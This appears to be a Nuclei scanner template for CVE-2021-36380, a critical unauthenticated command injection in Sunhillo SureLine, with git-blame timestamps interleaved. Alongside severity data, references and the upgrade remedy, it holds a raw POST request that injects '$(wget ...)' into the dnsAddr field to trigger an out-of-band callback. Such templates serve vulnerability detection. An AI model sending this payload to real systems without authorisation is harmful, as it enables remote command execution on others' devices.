2021-07-31 18:10:49 +00:00
id : CVE-2021-36380
info :
2022-05-02 21:50:47 +00:00
name : Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection
2021-07-31 18:10:49 +00:00
author : gy741
severity : critical
2022-05-17 09:18:12 +00:00
description : Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to Sunhillo SureLine version 8.7.0.1.1 or later to mitigate this vulnerability.
2021-08-19 13:59:12 +00:00
reference :
2021-07-31 18:10:49 +00:00
- https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/
2022-05-02 21:50:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-36380
2022-05-17 09:18:12 +00:00
- https://www.sunhillo.com/product/sureline/
2024-05-31 19:23:20 +00:00
- https://github.com/Ostorlab/KEV
- https://github.com/fkie-cad/nvd-json-data-feeds
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-36380
cwe-id : CWE-78
2024-05-31 19:23:20 +00:00
epss-score : 0.97494
epss-percentile : 0.99977
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:sunhillo:sureline:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : sunhillo
product : sureline
2024-05-31 19:23:20 +00:00
tags : cve2021,cve,sureline,rce,oast,sunhillo,kev
2021-07-31 18:10:49 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-31 18:10:49 +00:00
- raw :
- |
POST /cgi/networkDiag.cgi HTTP/1.1
Host : {{Hostname}}
command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
2024-06-01 06:53:00 +00:00
# digest: 490a004630440220186ad330555ff5c08b020283bc97e77c44aa5405f8165337f346ba0a2bb9c66a0220512d0e7b7f781db43bcde252535a9c928ebb8f3dc054906b4a50a31aa5666eaa:922c64590222798bb761d5b6d8e72950